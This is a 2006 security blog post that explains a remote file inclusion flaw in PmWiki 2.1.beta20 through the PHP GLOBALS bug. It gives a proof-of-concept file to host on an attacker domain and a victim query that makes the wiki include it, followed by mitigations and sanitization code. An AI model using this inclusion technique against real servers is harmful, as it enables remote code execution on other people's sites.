ush.it - a beautiful place

PmWiki remote file inclusion exploit

February 1, 2006 at 3:59 am - Filed under Hacks, Language EN - 881 words, reading time ~2 minutes - Permalink - Comments

The purpose of this article is to make easily understandable the impact of some vulns exposed in the PmWiki Multiple Vulnerabilities and PHP5 Globals Vulnerability advisories.

STEP 1
Upload this if .php parsed
<?php echo '<?php $Version=\"pmwiki-2.1.beta20\"; $VersionNum=2000920; echo \'<h1>FILE INCLUDED</h1>\'; exit(); ?>'; ?>
else upload this if .php files are merely text
<?php $Version="pmwiki-2.1.beta20\"; $VersionNum=2000920; echo '<h1>FILE INCLUDED</h1>'; exit(); ?>
to the designed location
http://attacker.tld/scripts/version.php

STEP 2
Query http://victim.tld/pmwiki-2.1.beta20/pmwiki.php?GLOBALS&GLOBALS[FarmD]=http://attacker.tld

DONE !
If you read the FILE INCLUDED string and then the script execution is stopped the target is exploitable.

http://www_ush_it/team/ascii/hack-PmWiki/expl0.png
http://www_ush_it/team/ascii/hack-PmWiki/expl1.png

Understanding GLOBALS ON threat

An efficient anti globals mechanism is required if your script is supposed to go on untrusted configurations or to the wild, there are mainly four ways to handle this problem:

1) Exit model (my application isn't supposed to run on php configurations with register_globals on)
Place in your code: if (ini_get('register_globals')) die("I hate globals on");

2) Runtime configuration (hosting companies with no support or ability to tweak apache's vhost or php.ini)
Place in your .htaccess file: php_flag register_globals off

3) Reconfiguration (vhost or php.it)
Turn register_globals to off in your php.ini: register_globals = Off
Tweak the configuration per vhost php_flag register_globals off

4) Write some sanitization code against globals

if (ini_get(register_globals)) {
 foreach ($_GET as $key => $value)
  if (preg_match('/^([a-zA-Z]|_){1}([a-zA-Z0-9]|_)*$/', $key))
   unset($$key);

 foreach ($_POST as $key => $value)
  if (preg_match('/^([a-zA-Z]|_){1}([a-zA-Z0-9]|_)*$/', $key))
   unset($$key);

 foreach ($_COOKIE as $key => $value)
  if (preg_match('/^([a-zA-Z]|_){1}([a-zA-Z0-9]|_)*$/', $key))
   unset($$key);

 foreach ($_FILES as $key => $value)
  if (preg_match('/^([a-zA-Z]|_){1}([a-zA-Z0-9]|_)*$/', $key))
   unset($$key);

 foreach ($_REQUEST as $key => $value)
  if (preg_match('/^([a-zA-Z]|_){1}([a-zA-Z0-9]|_)*$/', $key))
   unset($$key);
}

This code is taken from a comment posted on php.net by Alan Hogan but is more secure because doesn't use evals and faster because prce perform better than ereg (the article is accessible here http://it2.php.net/ini_set).

Understanding GPC GLOBALS[foobar] threat

There are many other arbitrary file inclusions in PmWiki if the target suffer the PHP 'feature' described in PHP5 Globals Vulnerability.

This is because $FarmD is the base path for file inclusions in PmWiki.

# grep include \pmwiki-2.1.beta20\pmwiki.php | grep $FarmD
include_once("$FarmD/scripts/version.php");
  include_once("$FarmD/local/farmconfig.php");
  include_once("$FarmD/scripts/stdconfig.php");
      include_once("$FarmD/scripts/xlpage-$i18n.php");

Also note that $FarmD is not the only variable affected by this:

# grep SDV D:\pmwiki-2.1.beta20\pmwiki.php | grep -v function | grep -v XLSDV
SDV($FarmD,dirname(__FILE__));
SDV($WorkDir,'wiki.d');
SDV($CurrentTime,strftime($TimeFmt,$Now));
SDV($DefaultPage,"$DefaultGroup.$DefaultName");
SDV($UrlPage,'{$UrlPage}');
  SDV($PageNotFound, "$SiteGroup.PageNotFound");
  SDV($MetaRobots, "noindex,nofollow");
SDV($LinkPageCreateSpaceFmt,$LinkPageCreateFmt);
SDV($HandleAuth[$action], 'read');
  SDV($LockFile,"$WorkDir/.flock");
  SDV($PageNameChars,'-[:alnum:]');
  SDV($MakePageNamePatterns, array(
  SDV($AuthFunction,'PmWikiAuth');
  SDV($RedirectDelay,0);
  SDV($MaxIncludes,50);
  SDV($PageRedirectFmt,"[..cut..]
  SDV($HandleBrowseFmt,array([..cut..]
  SDV($SaveAttrExcerptLength, 600);
  SDV($DiffKeepDays,3650);
  SDV($DeleteKeyPattern,"^\\s*delete\\s*$");
  SDV($PageEditFmt, "[..cut..]
  SDV($HandleEditFmt, array(&$PageStartFmt, &$PageEditFmt, &$PageEndFmt));
  SDV($GroupAttributesFmt,'$Group/GroupAttributes');
  SDV($AllowPassword,'nopass');
  SDV($AuthPromptFmt,array(&$PageStartFmt,
  SDV($PageAttrFmt,"[..cut..]
  SDV($HandleAttrFmt,array(&$PageStartFmt,&$PageAttrFmt,
  SDV($LogoutRedirectFmt, '$FullName');
  SDV($LogoutCookies, array());

Also don't forgot the SDVA function that works in the same way:

function SDVA(&$var,$val)
  { foreach($val as $k=>$v) if (!isset($var[$k])) $var[$k]=$v; }

(With the techniques exposed in PHP5 Globals Vulnerability you can inject array elements by GPC)

It's better to try to fix this globals on bug with something like

// check for php 5.0.x GLOBALS bug (adapted from phpbb)
if (isset($HTTP_POST_VARS['GLOBALS']) || isset($_POST['GLOBALS']) ||
   isset($HTTP_POST_FILES['GLOBALS']) || isset($_FILES['GLOBALS']) ||
   isset($HTTP_GET_VARS['GLOBALS']) || isset($_GET['GLOBALS']) ||
   isset($HTTP_COOKIE_VARS['GLOBALS']) || isset($_COOKIE['GLOBALS'])) {
 die("Hacking attempt");
}

Scripts in an unpached status (ie without some code against standard and bogous globals) running on many PHP 5 versions could be affected by this. In this case you have to save yourself at the application level because many affected PHP versions are in the wild and will surely remain there for some time.

Reed's Alert! Got something burning? Tell USH team.
THP USH Wisec DigitalBullets